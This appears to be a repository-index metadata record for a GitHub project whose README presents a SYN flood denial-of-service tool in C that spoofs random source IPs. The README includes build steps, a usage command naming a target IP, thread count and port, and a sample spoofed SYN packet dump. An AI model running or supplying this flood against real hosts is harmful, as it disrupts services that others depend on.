{"id":28254034,"url":"https://github.com/leo-aa88/synflood","last_synced_at":"2026-03-06T10:31:12.691Z","repository":{"id":49329227,"uuid":"461101781","full_name":"leo-aa88/synflood","owner":"leo-aa88","description":"SYN flood denial-of-service (DoS) attack coded in C using raw sockets","archived":false,"fork":false,"pushed_at":"2022-02-19T23:49:01.000Z","size":45,"stargazers_count":1,"open_issues_count":1,"forks_count":2,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-10-28T22:38:01.914Z","etag":null,"topics":["ddos","ddos-attacks","dos-attack","syn-flood","syn-flood-attack","synflood","synflood-dos"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/leo-aa88.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null}},"created_at":"2022-02-19T06:00:29.000Z","updated_at":"2025-06-30T15:25:58.000Z","dependencies_parsed_at":"2022-08-27T22:03:50.342Z","dependency_job_id":null,"html_url":"https://github.com/leo-aa88/synflood","commit_stats":null,"previous_names":["gotz1480/synflood","leo-aa88/synflood"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/leo-aa88/synflood","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leo-aa88%2Fsynflood","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leo-aa88%2Fsynflood/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leo-aa88%2Fsynflood/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leo-aa88%2Fsynflood/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/leo-aa88","download_url":"https://codeload.github.com/leo-aa88/synflood/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/leo-aa88%2Fsynflood/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":30171869,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-03-06T07:56:45.623Z","status":"ssl_error","status_checked_at":"2026-03-06T07:55:55.621Z","response_time":250,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["ddos","ddos-attacks","dos-attack","syn-flood","syn-flood-attack","synflood","synflood-dos"],"created_at":"2025-05-19T18:19:27.759Z","updated_at":"2026-03-06T10:31:12.462Z","avatar_url":"https://github.com/leo-aa88.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# synflood\nSYN flood denial-of-service (DoS) attack coded in C using raw sockets. Generates random spoofed IPs at each new packet.\n\n## Build\n\n`make clean` \u003cbr\u003e\n`make`\n\n## Usage\n\n`sudo ./synflood \u003ctarget_ip_address\u003e \u003cpayload\u003e \u003cnumber_of_threads\u003e \u003cport_number\u003e`\n\n## Example\n\n`sudo ./synflood 1.2.3.4 OWNED 10 80`\n\nWill create 10 threads which will send the following TCP/IP packet in loop:\n\n```\n***********************TCP Packet*************************\n\nEthernet Header\n   |-Destination Address : XX-XX-XX-XX-XX-XX\n   |-Source Address      : XX-XX-XX-XX-XX-XX  \n   |-Protocol            : 8\n\nIP Header\n   |-IP Version        : 4\n   |-IP Header Length  : 5 DWORDS or 20 Bytes\n   |-Type Of Service   : 0\n   |-IP Total Length   : 54  Bytes(Size of Packet)\n   |-Identification    : 6082\n   |-TTL               : 255\n   |-Protocol          : 6\n   |-Checksum          : 55149\n   |-Source IP         : xxx.xxx.xxx.xxx\n   |-Destination IP    : 1.2.3.4\n\nTCP Header\n   |-Source Port          : 28659\n   |-Destination Port     : 80\n   |-Sequence Number      : 0\n   |-Acknowledge Number   : 0\n   |-Header Length        : 5 DWORDS or 20 BYTES\n   |-Urgent Flag          : 0\n   |-Acknowledgement Flag : 0\n   |-Push Flag            : 0\n   |-Reset Flag           : 0\n   |-Synchronise Flag     : 1\n   |-Finish Flag          : 0\n   |-Window               : 5840\n   |-Checksum             : 41290\n   |-Urgent Pointer       : 0\n\n                        DATA Dump                         \nData Payload\n    4F 57 4E 45 44 00 00 00 00 00 00 00 00 00               OWNED.........\n```\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fleo-aa88%2Fsynflood","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fleo-aa88%2Fsynflood","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fleo-aa88%2Fsynflood/lists"}